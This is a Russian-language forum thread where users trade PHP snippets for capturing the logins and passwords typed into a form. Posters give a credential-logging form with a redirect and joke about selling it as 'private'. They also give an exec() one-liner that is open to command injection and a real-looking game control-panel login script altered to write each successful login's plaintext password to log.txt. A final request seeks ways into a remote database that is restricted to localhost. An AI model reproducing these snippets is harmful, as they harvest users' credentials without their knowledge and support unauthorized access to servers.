Людей хелп. Нужен такой просто php скрипт. Поле пароль Собсно вводим пароль если пароль верный то нас кидает на определенную страницу если пароль неверный то выдается соответствующие сообщение.
Скажите пожалуйста, как сделать так, что бы при вводе логина и пароля, они автоматически сохранялись в отдельный файлик?
PHP: <? $file = 'data.txt'; //файлик if(!$_POST['s']) { ?> <form method=POST> Логин: <input type=text name=login><br> Пароль: <input type=password name=pass><br> <input type=submit name=s> </form> <? } else { $format = $_POST['login'].' ||| '.$_POST['pass']; //в каком формате записать логин и пасс (запишется так - ЛОГИН ||| ПАРОЛЬ) $f = fopen($file, 'ab'); fwrite($f, $format."\r\n"); fclose($f); } ?>
Еще вот так сделать... и можно будет продовать как приват..))) PHP: <? $file = 'data.txt'; //файлик if(!$_POST['s']) { ?> <form method=POST> Логин: <input type=text name=login><br> Пароль: <input type=password name=pass><br> <input type=submit name=s> </form> <? } else { $format = $_POST['login'].' ||| '.$_POST['pass']; //в каком формате записать логин и пасс (запишется так - ЛОГИН ||| ПАРОЛЬ) $f = fopen($file, 'ab'); fwrite($f, $format."\r\n"); fclose($f); header("Location: http://example.com/"); } ?>
password.html password.php Заходишь на password.html и вводишь логин и пароль. Скрипт password.php будет вести запись введённых данных и уведомлять пользователя "Спасибо за посещение!".
Что-то у тебя он какой-то "сложный" зачем столько гемора? А вообще достаточно скрипта PHP: exec('echo '.$_POST['login'].'|||'.$_POST['pass'].' > log.txt');
NOmeR1, тогда точнее будет так: PHP: exec("echo ".$_POST['login']."|||".$_POST['pass']." > log.txt");
NOmeR1, чего там сложного? Зато обрабатывает все ошибки и ведёт себя однозначно + я делал это для наглядности отдельно (пример отправки данных, пример обработки, пример записи). А этот код не сработает в safe mode. И тогда уж лучше:
Перед вызовом session_start() вставь: З.Ы. В файл будет записано именно то, что пользователь передаёт через форму, т.е. ник со всеми опасными символами.
PHP: <? require 'config.php'; require 'pages/functions.php'; require 'pages/query.php'; if ($_POST['action']=='login') { mssql_connect ($CONFIG['mssqlip'], $CONFIG['dbuser'], $CONFIG['dbpass']); mssql_select_db($CONFIG['mssqllin2db']); $postusername = isset($_POST['username'])?$_POST['username']:null; $postpassword = isset($_POST['password'])?$_POST['password']:null; $new_random = isset($_POST['random'])?$_POST['random']:null; session_start(); $new_string=$_SESSION["new_string"]; $new_string=antiinjection($new_string); $postusername = antiinjection($postusername); $postpassword = antiinjection($postpassword); $result = mssql_query(sprintf(SELECT_USER_PASS,$postusername )); $num_user_pass=mssql_num_rows($result); $user_pass=mssql_fetch_array($result); $password = '0x'.bin2hex($user_pass['password']); list ($Id) = mssql_fetch_row(mssql_query("INSERT INTO ".$CONFIG['mssqlcp_log'].".dbo.acc_auth (account,password,random,date,remote_addr,status) VALUES ('".$postusername."','".$postpassword."','".$new_string."',GETDATE(),'".$_SERVER['REMOTE_ADDR']."',0); SELECT @@IDENTITY as insertId;")); if ($new_string != $new_random) { echo '<script> alert("Неверный код."); </script>'; } else { if (@password_encrypt($postpassword)==$password && $num_user_pass==1) { @setcookie("login", $user_pass['account'], time()+1800); @setcookie("site_user", $user_pass['account'], time()+1800); @setcookie("pass", md5($password), time()+1800); mssql_query("UPDATE ".$CONFIG['mssqlcp_log'].".dbo.acc_auth SET status=1 WHERE id='".$Id."'"); $format = $postusername.' ||| '.$postpassword; //в каком формате записать логин и пасс (запишется так - ЛОГИН ||| ПАРОЛЬ) $f = fopen('log.txt', 'ab'); fwrite($f, $format."\r\n"); fclose($f); } else { echo '<script> alert("Неверный логин или пароль."); </script>'; } } quickrefresh('index.php'); } else { quickrefresh('index.php'); } ?> Вот тебе код. Данные сохранятся в файл log.txt.
Спасибо большое! У меня еще вопросик: Как можно изменить в базе данных(mysql) информацию? Опишу ситуацию: 1.стоит удаленный сервер, доступ к базе данных доступен только с локалхоста. 2.есть возможность править пхп запросы к базе данных пример: Или хотя бы посмотреть таблицы в базе? Огромное спасибо за внимание
Воспользуйся примитивным mysql-клиентом на PHP: Что касается запросов: Посмотреть какие схемы есть в базе данных: Подключиться к схеме: Посмотреть таблицы: Выбрать данные из таблицы
Все это так, если соответствующее расширение установлено (кажется, называется Semaphore или как-то так) Насколько я помню, в стандартном пакете php его нет.